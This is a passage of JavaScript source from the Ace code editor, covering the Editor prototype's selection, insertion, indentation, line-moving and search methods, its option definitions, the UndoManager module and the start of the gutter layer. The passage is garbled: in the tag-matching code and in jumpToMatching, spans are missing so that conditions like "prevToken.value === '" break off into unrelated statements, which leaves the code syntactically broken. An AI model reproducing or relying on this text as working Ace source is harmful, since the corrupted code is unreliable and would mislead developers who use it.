if (token.type.indexOf("tag-open") != -1) { token = iterator.stepForward(); if (!token) return; } var tag = token.value; var depth = 0; var prevToken = iterator.stepBackward(); if (prevToken.value == '<'){ do { prevToken = token; token = iterator.stepForward(); if (token && token.value === tag && token.type.indexOf('tag-name') !== -1) { if (prevToken.value === '<'){ depth++; } else if (prevToken.value === '= 0); } else { do { token = prevToken; prevToken = iterator.stepBackward(); if (token && token.value === tag && token.type.indexOf('tag-name') !== -1) { if (prevToken.value === '<') { depth++; } else if (prevToken.value === ' 1)) highlight = false; } if (session.$highlightLineMarker && !highlight) { session.removeMarker(session.$highlightLineMarker.id); session.$highlightLineMarker = null; } else if (!session.$highlightLineMarker && highlight) { var range = new Range(highlight.row, highlight.column, highlight.row, Infinity); range.id = session.addMarker(range, "ace_active-line", "screenLine"); session.$highlightLineMarker = range; } else if (highlight) { session.$highlightLineMarker.start.row = highlight.row; session.$highlightLineMarker.end.row = highlight.row; session.$highlightLineMarker.start.column = highlight.column; session._signal("changeBackMarker"); } }; this.onSelectionChange = function(e) { var session = this.session; if (session.$selectionMarker) { session.removeMarker(session.$selectionMarker); } session.$selectionMarker = null; if (!this.selection.isEmpty()) { var range = this.selection.getRange(); var style = this.getSelectionStyle(); session.$selectionMarker = session.addMarker(range, "ace_selection", style); } else { this.$updateHighlightActiveLine(); } var re = this.$highlightSelectedWord && this.$getSelectionHighLightRegexp(); this.session.highlight(re); this._signal("changeSelection"); }; this.$getSelectionHighLightRegexp = function() { var session = this.session; var selection = this.getSelectionRange(); if (selection.isEmpty() || selection.isMultiLine()) return; var startOuter = selection.start.column - 1; var endOuter = selection.end.column + 1; var line = session.getLine(selection.start.row); var lineCols = line.length; var needle = line.substring(Math.max(startOuter, 0), Math.min(endOuter, lineCols)); if ((startOuter >= 0 && /^[\w\d]/.test(needle)) || (endOuter <= lineCols && /[\w\d]$/.test(needle))) return; needle = line.substring(selection.start.column, selection.end.column); if (!/^[\w\d]+$/.test(needle)) return; var re = this.$search.$assembleRegExp({ wholeWord: true, caseSensitive: true, needle: needle }); return re; }; this.onChangeFrontMarker = function() { this.renderer.updateFrontMarkers(); }; this.onChangeBackMarker = function() { this.renderer.updateBackMarkers(); }; this.onChangeBreakpoint = function() { this.renderer.updateBreakpoints(); }; this.onChangeAnnotation = function() { this.renderer.setAnnotations(this.session.getAnnotations()); }; this.onChangeMode = function(e) { this.renderer.updateText(); this._emit("changeMode", e); }; this.onChangeWrapLimit = function() { this.renderer.updateFull(); }; this.onChangeWrapMode = function() { this.renderer.onResize(true); }; this.onChangeFold = function() { this.$updateHighlightActiveLine(); this.renderer.updateFull(); }; this.getSelectedText = function() { return this.session.getTextRange(this.getSelectionRange()); }; this.getCopyText = function() { var text = this.getSelectedText(); this._signal("copy", text); return text; }; this.onCopy = function() { this.commands.exec("copy", this); }; this.onCut = function() { this.commands.exec("cut", this); }; this.onPaste = function(text, event) { var e = {text: text, event: event}; this.commands.exec("paste", this, e); }; this.$handlePaste = function(e) { if (typeof e == "string") e = {text: e}; this._signal("paste", e); var text = e.text; if (!this.inMultiSelectMode || this.inVirtualSelectionMode) { this.insert(text); } else { var lines = text.split(/\r\n|\r|\n/); var ranges = this.selection.rangeList.ranges; if (lines.length > ranges.length || lines.length < 2 || !lines[1]) return this.commands.exec("insertstring", this, text); for (var i = ranges.length; i--;) { var range = ranges[i]; if (!range.isEmpty()) this.session.remove(range); this.session.insert(range.start, lines[i]); } } }; this.execCommand = function(command, args) { return this.commands.exec(command, this, args); }; this.insert = function(text, pasted) { var session = this.session; var mode = session.getMode(); var cursor = this.getCursorPosition(); if (this.getBehavioursEnabled() && !pasted) { var transform = mode.transformAction(session.getState(cursor.row), 'insertion', this, session, text); if (transform) { if (text !== transform.text) { this.session.mergeUndoDeltas = false; this.$mergeNextCommand = false; } text = transform.text; } } if (text == "\t") text = this.session.getTabString(); if (!this.selection.isEmpty()) { var range = this.getSelectionRange(); cursor = this.session.remove(range); this.clearSelection(); } else if (this.session.getOverwrite()) { var range = new Range.fromPoints(cursor, cursor); range.end.column += text.length; this.session.remove(range); } if (text == "\n" || text == "\r\n") { var line = session.getLine(cursor.row); if (cursor.column > line.search(/\S|$/)) { var d = line.substr(cursor.column).search(/\S|$/); session.doc.removeInLine(cursor.row, cursor.column, cursor.column + d); } } this.clearSelection(); var start = cursor.column; var lineState = session.getState(cursor.row); var line = session.getLine(cursor.row); var shouldOutdent = mode.checkOutdent(lineState, line, text); var end = session.insert(cursor, text); if (transform && transform.selection) { if (transform.selection.length == 2) { // Transform relative to the current column this.selection.setSelectionRange( new Range(cursor.row, start + transform.selection[0], cursor.row, start + transform.selection[1])); } else { // Transform relative to the current row. this.selection.setSelectionRange( new Range(cursor.row + transform.selection[0], transform.selection[1], cursor.row + transform.selection[2], transform.selection[3])); } } if (session.getDocument().isNewLine(text)) { var lineIndent = mode.getNextLineIndent(lineState, line.slice(0, cursor.column), session.getTabString()); session.insert({row: cursor.row+1, column: 0}, lineIndent); } if (shouldOutdent) mode.autoOutdent(lineState, session, cursor.row); }; this.onTextInput = function(text) { this.keyBinding.onTextInput(text); }; this.onCommandKey = function(e, hashId, keyCode) { this.keyBinding.onCommandKey(e, hashId, keyCode); }; this.setOverwrite = function(overwrite) { this.session.setOverwrite(overwrite); }; this.getOverwrite = function() { return this.session.getOverwrite(); }; this.toggleOverwrite = function() { this.session.toggleOverwrite(); }; this.setScrollSpeed = function(speed) { this.setOption("scrollSpeed", speed); }; this.getScrollSpeed = function() { return this.getOption("scrollSpeed"); }; this.setDragDelay = function(dragDelay) { this.setOption("dragDelay", dragDelay); }; this.getDragDelay = function() { return this.getOption("dragDelay"); }; this.setSelectionStyle = function(val) { this.setOption("selectionStyle", val); }; this.getSelectionStyle = function() { return this.getOption("selectionStyle"); }; this.setHighlightActiveLine = function(shouldHighlight) { this.setOption("highlightActiveLine", shouldHighlight); }; this.getHighlightActiveLine = function() { return this.getOption("highlightActiveLine"); }; this.setHighlightGutterLine = function(shouldHighlight) { this.setOption("highlightGutterLine", shouldHighlight); }; this.getHighlightGutterLine = function() { return this.getOption("highlightGutterLine"); }; this.setHighlightSelectedWord = function(shouldHighlight) { this.setOption("highlightSelectedWord", shouldHighlight); }; this.getHighlightSelectedWord = function() { return this.$highlightSelectedWord; }; this.setAnimatedScroll = function(shouldAnimate){ this.renderer.setAnimatedScroll(shouldAnimate); }; this.getAnimatedScroll = function(){ return this.renderer.getAnimatedScroll(); }; this.setShowInvisibles = function(showInvisibles) { this.renderer.setShowInvisibles(showInvisibles); }; this.getShowInvisibles = function() { return this.renderer.getShowInvisibles(); }; this.setDisplayIndentGuides = function(display) { this.renderer.setDisplayIndentGuides(display); }; this.getDisplayIndentGuides = function() { return this.renderer.getDisplayIndentGuides(); }; this.setShowPrintMargin = function(showPrintMargin) { this.renderer.setShowPrintMargin(showPrintMargin); }; this.getShowPrintMargin = function() { return this.renderer.getShowPrintMargin(); }; this.setPrintMarginColumn = function(showPrintMargin) { this.renderer.setPrintMarginColumn(showPrintMargin); }; this.getPrintMarginColumn = function() { return this.renderer.getPrintMarginColumn(); }; this.setReadOnly = function(readOnly) { this.setOption("readOnly", readOnly); }; this.getReadOnly = function() { return this.getOption("readOnly"); }; this.setBehavioursEnabled = function (enabled) { this.setOption("behavioursEnabled", enabled); }; this.getBehavioursEnabled = function () { return this.getOption("behavioursEnabled"); }; this.setWrapBehavioursEnabled = function (enabled) { this.setOption("wrapBehavioursEnabled", enabled); }; this.getWrapBehavioursEnabled = function () { return this.getOption("wrapBehavioursEnabled"); }; this.setShowFoldWidgets = function(show) { this.setOption("showFoldWidgets", show); }; this.getShowFoldWidgets = function() { return this.getOption("showFoldWidgets"); }; this.setFadeFoldWidgets = function(fade) { this.setOption("fadeFoldWidgets", fade); }; this.getFadeFoldWidgets = function() { return this.getOption("fadeFoldWidgets"); }; this.remove = function(dir) { if (this.selection.isEmpty()){ if (dir == "left") this.selection.selectLeft(); else this.selection.selectRight(); } var range = this.getSelectionRange(); if (this.getBehavioursEnabled()) { var session = this.session; var state = session.getState(range.start.row); var new_range = session.getMode().transformAction(state, 'deletion', this, session, range); if (range.end.column === 0) { var text = session.getTextRange(range); if (text[text.length - 1] == "\n") { var line = session.getLine(range.end.row); if (/^\s+$/.test(line)) { range.end.column = line.length; } } } if (new_range) range = new_range; } this.session.remove(range); this.clearSelection(); }; this.removeWordRight = function() { if (this.selection.isEmpty()) this.selection.selectWordRight(); this.session.remove(this.getSelectionRange()); this.clearSelection(); }; this.removeWordLeft = function() { if (this.selection.isEmpty()) this.selection.selectWordLeft(); this.session.remove(this.getSelectionRange()); this.clearSelection(); }; this.removeToLineStart = function() { if (this.selection.isEmpty()) this.selection.selectLineStart(); this.session.remove(this.getSelectionRange()); this.clearSelection(); }; this.removeToLineEnd = function() { if (this.selection.isEmpty()) this.selection.selectLineEnd(); var range = this.getSelectionRange(); if (range.start.column == range.end.column && range.start.row == range.end.row) { range.end.column = 0; range.end.row++; } this.session.remove(range); this.clearSelection(); }; this.splitLine = function() { if (!this.selection.isEmpty()) { this.session.remove(this.getSelectionRange()); this.clearSelection(); } var cursor = this.getCursorPosition(); this.insert("\n"); this.moveCursorToPosition(cursor); }; this.transposeLetters = function() { if (!this.selection.isEmpty()) { return; } var cursor = this.getCursorPosition(); var column = cursor.column; if (column === 0) return; var line = this.session.getLine(cursor.row); var swap, range; if (column < line.length) { swap = line.charAt(column) + line.charAt(column-1); range = new Range(cursor.row, column-1, cursor.row, column+1); } else { swap = line.charAt(column-1) + line.charAt(column-2); range = new Range(cursor.row, column-2, cursor.row, column); } this.session.replace(range, swap); }; this.toLowerCase = function() { var originalRange = this.getSelectionRange(); if (this.selection.isEmpty()) { this.selection.selectWord(); } var range = this.getSelectionRange(); var text = this.session.getTextRange(range); this.session.replace(range, text.toLowerCase()); this.selection.setSelectionRange(originalRange); }; this.toUpperCase = function() { var originalRange = this.getSelectionRange(); if (this.selection.isEmpty()) { this.selection.selectWord(); } var range = this.getSelectionRange(); var text = this.session.getTextRange(range); this.session.replace(range, text.toUpperCase()); this.selection.setSelectionRange(originalRange); }; this.indent = function() { var session = this.session; var range = this.getSelectionRange(); if (range.start.row < range.end.row) { var rows = this.$getSelectedRows(); session.indentRows(rows.first, rows.last, "\t"); return; } else if (range.start.column < range.end.column) { var text = session.getTextRange(range); if (!/^\s+$/.test(text)) { var rows = this.$getSelectedRows(); session.indentRows(rows.first, rows.last, "\t"); return; } } var line = session.getLine(range.start.row); var position = range.start; var size = session.getTabSize(); var column = session.documentToScreenColumn(position.row, position.column); if (this.session.getUseSoftTabs()) { var count = (size - column % size); var indentString = lang.stringRepeat(" ", count); } else { var count = column % size; while (line[range.start.column] == " " && count) { range.start.column--; count--; } this.selection.setSelectionRange(range); indentString = "\t"; } return this.insert(indentString); }; this.blockIndent = function() { var rows = this.$getSelectedRows(); this.session.indentRows(rows.first, rows.last, "\t"); }; this.blockOutdent = function() { var selection = this.session.getSelection(); this.session.outdentRows(selection.getRange()); }; this.sortLines = function() { var rows = this.$getSelectedRows(); var session = this.session; var lines = []; for (i = rows.first; i <= rows.last; i++) lines.push(session.getLine(i)); lines.sort(function(a, b) { if (a.toLowerCase() < b.toLowerCase()) return -1; if (a.toLowerCase() > b.toLowerCase()) return 1; return 0; }); var deleteRange = new Range(0, 0, 0, 0); for (var i = rows.first; i <= rows.last; i++) { var line = session.getLine(i); deleteRange.start.row = i; deleteRange.end.row = i; deleteRange.end.column = line.length; session.replace(deleteRange, lines[i-rows.first]); } }; this.toggleCommentLines = function() { var state = this.session.getState(this.getCursorPosition().row); var rows = this.$getSelectedRows(); this.session.getMode().toggleCommentLines(state, this.session, rows.first, rows.last); }; this.toggleBlockComment = function() { var cursor = this.getCursorPosition(); var state = this.session.getState(cursor.row); var range = this.getSelectionRange(); this.session.getMode().toggleBlockComment(state, this.session, range, cursor); }; this.getNumberAt = function(row, column) { var _numberRx = /[\-]?[0-9]+(?:\.[0-9]+)?/g; _numberRx.lastIndex = 0; var s = this.session.getLine(row); while (_numberRx.lastIndex < column) { var m = _numberRx.exec(s); if(m.index <= column && m.index+m[0].length >= column){ var number = { value: m[0], start: m.index, end: m.index+m[0].length }; return number; } } return null; }; this.modifyNumber = function(amount) { var row = this.selection.getCursor().row; var column = this.selection.getCursor().column; var charRange = new Range(row, column-1, row, column); var c = this.session.getTextRange(charRange); if (!isNaN(parseFloat(c)) && isFinite(c)) { var nr = this.getNumberAt(row, column); if (nr) { var fp = nr.value.indexOf(".") >= 0 ? nr.start + nr.value.indexOf(".") + 1 : nr.end; var decimals = nr.start + nr.value.length - fp; var t = parseFloat(nr.value); t *= Math.pow(10, decimals); if(fp !== nr.end && column < fp){ amount *= Math.pow(10, nr.end - column - 1); } else { amount *= Math.pow(10, nr.end - column); } t += amount; t /= Math.pow(10, decimals); var nnr = t.toFixed(decimals); var replaceRange = new Range(row, nr.start, row, nr.end); this.session.replace(replaceRange, nnr); this.moveCursorTo(row, Math.max(nr.start +1, column + nnr.length - nr.value.length)); } } }; this.removeLines = function() { var rows = this.$getSelectedRows(); this.session.removeFullLines(rows.first, rows.last); this.clearSelection(); }; this.duplicateSelection = function() { var sel = this.selection; var doc = this.session; var range = sel.getRange(); var reverse = sel.isBackwards(); if (range.isEmpty()) { var row = range.start.row; doc.duplicateLines(row, row); } else { var point = reverse ? range.start : range.end; var endPoint = doc.insert(point, doc.getTextRange(range), false); range.start = point; range.end = endPoint; sel.setSelectionRange(range, reverse); } }; this.moveLinesDown = function() { this.$moveLines(1, false); }; this.moveLinesUp = function() { this.$moveLines(-1, false); }; this.moveText = function(range, toPosition, copy) { return this.session.moveText(range, toPosition, copy); }; this.copyLinesUp = function() { this.$moveLines(-1, true); }; this.copyLinesDown = function() { this.$moveLines(1, true); }; this.$moveLines = function(dir, copy) { var rows, moved; var selection = this.selection; if (!selection.inMultiSelectMode || this.inVirtualSelectionMode) { var range = selection.toOrientedRange(); rows = this.$getSelectedRows(range); moved = this.session.$moveLines(rows.first, rows.last, copy ? 0 : dir); if (copy && dir == -1) moved = 0; range.moveBy(moved, 0); selection.fromOrientedRange(range); } else { var ranges = selection.rangeList.ranges; selection.rangeList.detach(this.session); this.inVirtualSelectionMode = true; var diff = 0; var totalDiff = 0; var l = ranges.length; for (var i = 0; i < l; i++) { var rangeIndex = i; ranges[i].moveBy(diff, 0); rows = this.$getSelectedRows(ranges[i]); var first = rows.first; var last = rows.last; while (++i < l) { if (totalDiff) ranges[i].moveBy(totalDiff, 0); var subRows = this.$getSelectedRows(ranges[i]); if (copy && subRows.first != last) break; else if (!copy && subRows.first > last + 1) break; last = subRows.last; } i--; diff = this.session.$moveLines(first, last, copy ? 0 : dir); if (copy && dir == -1) rangeIndex = i + 1; while (rangeIndex <= i) { ranges[rangeIndex].moveBy(diff, 0); rangeIndex++; } if (!copy) diff = 0; totalDiff += diff; } selection.fromOrientedRange(selection.ranges[0]); selection.rangeList.attach(this.session); this.inVirtualSelectionMode = false; } }; this.$getSelectedRows = function(range) { range = (range || this.getSelectionRange()).collapseRows(); return { first: this.session.getRowFoldStart(range.start.row), last: this.session.getRowFoldEnd(range.end.row) }; }; this.onCompositionStart = function(text) { this.renderer.showComposition(this.getCursorPosition()); }; this.onCompositionUpdate = function(text) { this.renderer.setCompositionText(text); }; this.onCompositionEnd = function() { this.renderer.hideComposition(); }; this.getFirstVisibleRow = function() { return this.renderer.getFirstVisibleRow(); }; this.getLastVisibleRow = function() { return this.renderer.getLastVisibleRow(); }; this.isRowVisible = function(row) { return (row >= this.getFirstVisibleRow() && row <= this.getLastVisibleRow()); }; this.isRowFullyVisible = function(row) { return (row >= this.renderer.getFirstFullyVisibleRow() && row <= this.renderer.getLastFullyVisibleRow()); }; this.$getVisibleRowCount = function() { return this.renderer.getScrollBottomRow() - this.renderer.getScrollTopRow() + 1; }; this.$moveByPage = function(dir, select) { var renderer = this.renderer; var config = this.renderer.layerConfig; var rows = dir * Math.floor(config.height / config.lineHeight); this.$blockScrolling++; if (select === true) { this.selection.$moveSelection(function(){ this.moveCursorBy(rows, 0); }); } else if (select === false) { this.selection.moveCursorBy(rows, 0); this.selection.clearSelection(); } this.$blockScrolling--; var scrollTop = renderer.scrollTop; renderer.scrollBy(0, rows * config.lineHeight); if (select != null) renderer.scrollCursorIntoView(null, 0.5); renderer.animateScrolling(scrollTop); }; this.selectPageDown = function() { this.$moveByPage(1, true); }; this.selectPageUp = function() { this.$moveByPage(-1, true); }; this.gotoPageDown = function() { this.$moveByPage(1, false); }; this.gotoPageUp = function() { this.$moveByPage(-1, false); }; this.scrollPageDown = function() { this.$moveByPage(1); }; this.scrollPageUp = function() { this.$moveByPage(-1); }; this.scrollToRow = function(row) { this.renderer.scrollToRow(row); }; this.scrollToLine = function(line, center, animate, callback) { this.renderer.scrollToLine(line, center, animate, callback); }; this.centerSelection = function() { var range = this.getSelectionRange(); var pos = { row: Math.floor(range.start.row + (range.end.row - range.start.row) / 2), column: Math.floor(range.start.column + (range.end.column - range.start.column) / 2) }; this.renderer.alignCursor(pos, 0.5); }; this.getCursorPosition = function() { return this.selection.getCursor(); }; this.getCursorPositionScreen = function() { return this.session.documentToScreenPosition(this.getCursorPosition()); }; this.getSelectionRange = function() { return this.selection.getRange(); }; this.selectAll = function() { this.$blockScrolling += 1; this.selection.selectAll(); this.$blockScrolling -= 1; }; this.clearSelection = function() { this.selection.clearSelection(); }; this.moveCursorTo = function(row, column) { this.selection.moveCursorTo(row, column); }; this.moveCursorToPosition = function(pos) { this.selection.moveCursorToPosition(pos); }; this.jumpToMatching = function(select, expand) { var cursor = this.getCursorPosition(); var iterator = new TokenIterator(this.session, cursor.row, cursor.column); var prevToken = iterator.getCurrentToken(); var token = prevToken || iterator.stepForward(); if (!token) return; var matchType; var found = false; var depth = {}; var i = cursor.column - token.start; var bracketType; var brackets = { ")": "(", "(": "(", "]": "[", "[": "[", "{": "{", "}": "{" }; do { if (token.value.match(/[{}()\[\]]/g)) { for (; i < token.value.length && !found; i++) { if (!brackets[token.value[i]]) { continue; } bracketType = brackets[token.value[i]] + '.' + token.type.replace("rparen", "lparen"); if (isNaN(depth[bracketType])) { depth[bracketType] = 0; } switch (token.value[i]) { case '(': case '[': case '{': depth[bracketType]++; break; case ')': case ']': case '}': depth[bracketType]--; if (depth[bracketType] === -1) { matchType = 'bracket'; found = true; } break; } } } else if (token && token.type.indexOf('tag-name') !== -1) { if (isNaN(depth[token.value])) { depth[token.value] = 0; } if (prevToken.value === '<') { depth[token.value]++; } else if (prevToken.value === '= 0; --i) { if(this.$tryReplace(ranges[i], replacement)) { replaced++; } } this.selection.setSelectionRange(selection); this.$blockScrolling -= 1; return replaced; }; this.$tryReplace = function(range, replacement) { var input = this.session.getTextRange(range); replacement = this.$search.replace(input, replacement); if (replacement !== null) { range.end = this.session.replace(range, replacement); return range; } else { return null; } }; this.getLastSearchOptions = function() { return this.$search.getOptions(); }; this.find = function(needle, options, animate) { if (!options) options = {}; if (typeof needle == "string" || needle instanceof RegExp) options.needle = needle; else if (typeof needle == "object") oop.mixin(options, needle); var range = this.selection.getRange(); if (options.needle == null) { needle = this.session.getTextRange(range) || this.$search.$options.needle; if (!needle) { range = this.session.getWordRange(range.start.row, range.start.column); needle = this.session.getTextRange(range); } this.$search.set({needle: needle}); } this.$search.set(options); if (!options.start) this.$search.set({start: range}); var newRange = this.$search.find(this.session); if (options.preventScroll) return newRange; if (newRange) { this.revealRange(newRange, animate); return newRange; } if (options.backwards) range.start = range.end; else range.end = range.start; this.selection.setRange(range); }; this.findNext = function(options, animate) { this.find({skipCurrent: true, backwards: false}, options, animate); }; this.findPrevious = function(options, animate) { this.find(options, {skipCurrent: true, backwards: true}, animate); }; this.revealRange = function(range, animate) { this.$blockScrolling += 1; this.session.unfold(range); this.selection.setSelectionRange(range); this.$blockScrolling -= 1; var scrollTop = this.renderer.scrollTop; this.renderer.scrollSelectionIntoView(range.start, range.end, 0.5); if (animate !== false) this.renderer.animateScrolling(scrollTop); }; this.undo = function() { this.$blockScrolling++; this.session.getUndoManager().undo(); this.$blockScrolling--; this.renderer.scrollCursorIntoView(null, 0.5); }; this.redo = function() { this.$blockScrolling++; this.session.getUndoManager().redo(); this.$blockScrolling--; this.renderer.scrollCursorIntoView(null, 0.5); }; this.destroy = function() { this.renderer.destroy(); this._signal("destroy", this); if (this.session) { this.session.destroy(); } }; this.setAutoScrollEditorIntoView = function(enable) { if (!enable) return; var rect; var self = this; var shouldScroll = false; if (!this.$scrollAnchor) this.$scrollAnchor = document.createElement("div"); var scrollAnchor = this.$scrollAnchor; scrollAnchor.style.cssText = "position:absolute"; this.container.insertBefore(scrollAnchor, this.container.firstChild); var onChangeSelection = this.on("changeSelection", function() { shouldScroll = true; }); var onBeforeRender = this.renderer.on("beforeRender", function() { if (shouldScroll) rect = self.renderer.container.getBoundingClientRect(); }); var onAfterRender = this.renderer.on("afterRender", function() { if (shouldScroll && rect && (self.isFocused() || self.searchBox && self.searchBox.isFocused()) ) { var renderer = self.renderer; var pos = renderer.$cursorLayer.$pixelPos; var config = renderer.layerConfig; var top = pos.top - config.offset; if (pos.top >= 0 && top + rect.top < 0) { shouldScroll = true; } else if (pos.top < config.height && pos.top + rect.top + config.lineHeight > window.innerHeight) { shouldScroll = false; } else { shouldScroll = null; } if (shouldScroll != null) { scrollAnchor.style.top = top + "px"; scrollAnchor.style.left = pos.left + "px"; scrollAnchor.style.height = config.lineHeight + "px"; scrollAnchor.scrollIntoView(shouldScroll); } shouldScroll = rect = null; } }); this.setAutoScrollEditorIntoView = function(enable) { if (enable) return; delete this.setAutoScrollEditorIntoView; this.off("changeSelection", onChangeSelection); this.renderer.off("afterRender", onAfterRender); this.renderer.off("beforeRender", onBeforeRender); }; }; this.$resetCursorStyle = function() { var style = this.$cursorStyle || "ace"; var cursorLayer = this.renderer.$cursorLayer; if (!cursorLayer) return; cursorLayer.setSmoothBlinking(/smooth/.test(style)); cursorLayer.isBlinking = !this.$readOnly && style != "wide"; dom.setCssClass(cursorLayer.element, "ace_slim-cursors", /slim/.test(style)); }; }).call(Editor.prototype); config.defineOptions(Editor.prototype, "editor", { selectionStyle: { set: function(style) { this.onSelectionChange(); this._signal("changeSelectionStyle", {data: style}); }, initialValue: "line" }, highlightActiveLine: { set: function() {this.$updateHighlightActiveLine();}, initialValue: true }, highlightSelectedWord: { set: function(shouldHighlight) {this.$onSelectionChange();}, initialValue: true }, readOnly: { set: function(readOnly) { this.$resetCursorStyle(); }, initialValue: false }, cursorStyle: { set: function(val) { this.$resetCursorStyle(); }, values: ["ace", "slim", "smooth", "wide"], initialValue: "ace" }, mergeUndoDeltas: { values: [false, true, "always"], initialValue: true }, behavioursEnabled: {initialValue: true}, wrapBehavioursEnabled: {initialValue: true}, autoScrollEditorIntoView: { set: function(val) {this.setAutoScrollEditorIntoView(val)} }, keyboardHandler: { set: function(val) { this.setKeyboardHandler(val); }, get: function() { return this.keybindingId; }, handlesSet: true }, hScrollBarAlwaysVisible: "renderer", vScrollBarAlwaysVisible: "renderer", highlightGutterLine: "renderer", animatedScroll: "renderer", showInvisibles: "renderer", showPrintMargin: "renderer", printMarginColumn: "renderer", printMargin: "renderer", fadeFoldWidgets: "renderer", showFoldWidgets: "renderer", showLineNumbers: "renderer", showGutter: "renderer", displayIndentGuides: "renderer", fontSize: "renderer", fontFamily: "renderer", maxLines: "renderer", minLines: "renderer", scrollPastEnd: "renderer", fixedWidthGutter: "renderer", theme: "renderer", scrollSpeed: "$mouseHandler", dragDelay: "$mouseHandler", dragEnabled: "$mouseHandler", focusTimout: "$mouseHandler", tooltipFollowsMouse: "$mouseHandler", firstLineNumber: "session", overwrite: "session", newLineMode: "session", useWorker: "session", useSoftTabs: "session", tabSize: "session", wrap: "session", indentedSoftWrap: "session", foldStyle: "session", mode: "session" }); exports.Editor = Editor; }); ace.define("ace/undomanager",["require","exports","module"], function(require, exports, module) { "use strict"; var UndoManager = function() { this.reset(); }; (function() { this.execute = function(options) { var deltaSets = options.args[0]; this.$doc = options.args[1]; if (options.merge && this.hasUndo()){ this.dirtyCounter--; deltaSets = this.$undoStack.pop().concat(deltaSets); } this.$undoStack.push(deltaSets); this.$redoStack = []; if (this.dirtyCounter < 0) { this.dirtyCounter = NaN; } this.dirtyCounter++; }; this.undo = function(dontSelect) { var deltaSets = this.$undoStack.pop(); var undoSelectionRange = null; if (deltaSets) { undoSelectionRange = this.$doc.undoChanges(deltaSets, dontSelect); this.$redoStack.push(deltaSets); this.dirtyCounter--; } return undoSelectionRange; }; this.redo = function(dontSelect) { var deltaSets = this.$redoStack.pop(); var redoSelectionRange = null; if (deltaSets) { redoSelectionRange = this.$doc.redoChanges(this.$deserializeDeltas(deltaSets), dontSelect); this.$undoStack.push(deltaSets); this.dirtyCounter++; } return redoSelectionRange; }; this.reset = function() { this.$undoStack = []; this.$redoStack = []; this.dirtyCounter = 0; }; this.hasUndo = function() { return this.$undoStack.length > 0; }; this.hasRedo = function() { return this.$redoStack.length > 0; }; this.markClean = function() { this.dirtyCounter = 0; }; this.isClean = function() { return this.dirtyCounter === 0; }; this.$serializeDeltas = function(deltaSets) { return cloneDeltaSetsObj(deltaSets, $serializeDelta); }; this.$deserializeDeltas = function(deltaSets) { return cloneDeltaSetsObj(deltaSets, $deserializeDelta); }; function $serializeDelta(delta){ return { action: delta.action, start: delta.start, end: delta.end, lines: delta.lines.length == 1 ? null : delta.lines, text: delta.lines.length == 1 ? delta.lines[0] : null }; } function $deserializeDelta(delta) { return { action: delta.action, start: delta.start, end: delta.end, lines: delta.lines || [delta.text] }; } function cloneDeltaSetsObj(deltaSets_old, fnGetModifiedDelta) { var deltaSets_new = new Array(deltaSets_old.length); for (var i = 0; i < deltaSets_old.length; i++) { var deltaSet_old = deltaSets_old[i]; var deltaSet_new = { group: deltaSet_old.group, deltas: new Array(deltaSet_old.length)}; for (var j = 0; j < deltaSet_old.deltas.length; j++) { var delta_old = deltaSet_old.deltas[j]; deltaSet_new.deltas[j] = fnGetModifiedDelta(delta_old); } deltaSets_new[i] = deltaSet_new; } return deltaSets_new; } }).call(UndoManager.prototype); exports.UndoManager = UndoManager; }); ace.define("ace/layer/gutter",["require","exports","module","ace/lib/dom","ace/lib/oop","ace/lib/lang","ace/lib/event_emitter"], function(require, exports, module) { "use strict"; var dom = require("../lib/dom"); var oop = require("../lib/oop"); var lang = require("../lib/lang"); var EventEmitter = require("../lib/event_emitter").EventEmitter; var Gutter = function(parentEl) { this.element = dom.createElement("div"); this.element.className = "ace_layer ace_gutter-layer"; parentEl.appendChild(this.element); this.setShowFoldWidgets(this.$showFoldWidgets); this.gutterWidth = 0; this.$annotations = []; this.$updateAnnotations = this.$updateAnnotations.bind(this); this.$cells = []; }; (function() { oop.implement(this, EventEmitter); this.setSession = function(session) { if (this.session) this.session.removeEventListener("change", this.$updateAnnotations); this.session = session; if (session) session.on("change", this.$updateAnnotations); }; this.addGutterDecoration = function(row, className){ if (window.console) console.warn && console.warn("deprecated use session.addGutterDecoration"); this.session.addGutterDecoration(row, className); }; this.removeGutterDecoration = function(row, className){ if (window.console) console.warn && console.warn("deprecated use session.removeGutterDecoration"); this.session.removeGutterDecoration(row, className); }; this.setAnnotations = function(annotations) { this.$annotations = []; for (var i = 0; i < annotations.length; i++) { var annotation = annotations[i]; var row = annotation.row; var rowInfo = this.$annotations[row]; if (!rowInfo) rowInfo = this.$annotations[row] = {text: []}; var annoText = annotation.text; annoText = annoText ? lang.escapeHTML(annoText) : annotation.html || ""; if (rowInfo.text.indexOf(annoText) === -1) rowInfo.text.push(annoText); var type = annotation.type; if (type == "error") rowInfo.className = " ace_error"; else if (type == "warning" && rowInfo.className != " ace_error") rowInfo.className = " ace_warning"; else if (type == "info" && (!rowInfo.className)) rowInfo.className = " ace_info"; } }; this.$updateAnnotations = function (delta) { if (!this.$annotations.length) return; var firstRow = delta.start.row; var len = delta.end.row - firstRow; if (len === 0) { } else if (delta.action == 'remove') { this.$annotations.splice(firstRow, len + 1, null); } else { var args = new Array(len + 1); args.unshift(firstRow, 1); this.$annotations.splice.apply(this.$annotations, args); } }; this.update = function(config) { var session = this.session; var firstRow = config.firstRow; var lastRow = Math.min(config.lastRow + config.gutterOffset, // needed to compensate for hor scollbar session.getLength() - 1); var fold = session.getNextFoldLine(firstRow); var foldStart = fold ? fold.start.row : Infinity; var foldWidgets = this.$showFoldWidgets && session.foldWidgets; var breakpoints = session.$breakpoints; var decorations = session.$decorations; var firstLineNumber = session.$firstLineNumber; var lastLineNumber = 0; var gutterRenderer = session.gutterRenderer || this.$renderer; var cell = null; var index = -1; var row = firstRow; while (true) { if (row > foldStart) { row = fold.end.row + 1; fold = session.getNextFoldLine(row, fold); foldStart = fold ? fold.start.row : Infinity; } if (row > lastRow) { while (this.$cells.length > index + 1) { cell = this.$cells.pop(); this.element.removeChild(cell.element); } break; } cell = this.$cells[++index]; if (!cell) { cell = {element: null, textNode: null, foldWidget: null}; cell.element = dom.createElement("div"); cell.textNode = document.createTextNode(''); cell.element.appendChild(cell.textNode); this.element.appendChild(cell.element); this.$cells[index] = cell; } var className = "ace_gutter-cell "; if (breakpoints[row]) className += breakpoints[row]; if (decorations[row]) className += decorations[row]; if (this.$annotations[row]) className += this.$annotations[row].className; if (cell.element.className != className) cell.element.className = className; var height = session.getRowLength(row) * config.lineHeight + "px"; if (height != cell.element.style.height) cell.element.style.height = height; if (foldWidgets) { var c = foldWidgets[row]; if (c == null) c = foldWidgets[row] = session.getFoldWidget(row); } if (c) { if (!cell.foldWidget) { cell.foldWidget = dom.createElement("span"); cell.element.appendChild(cell.foldWidget); } var className = 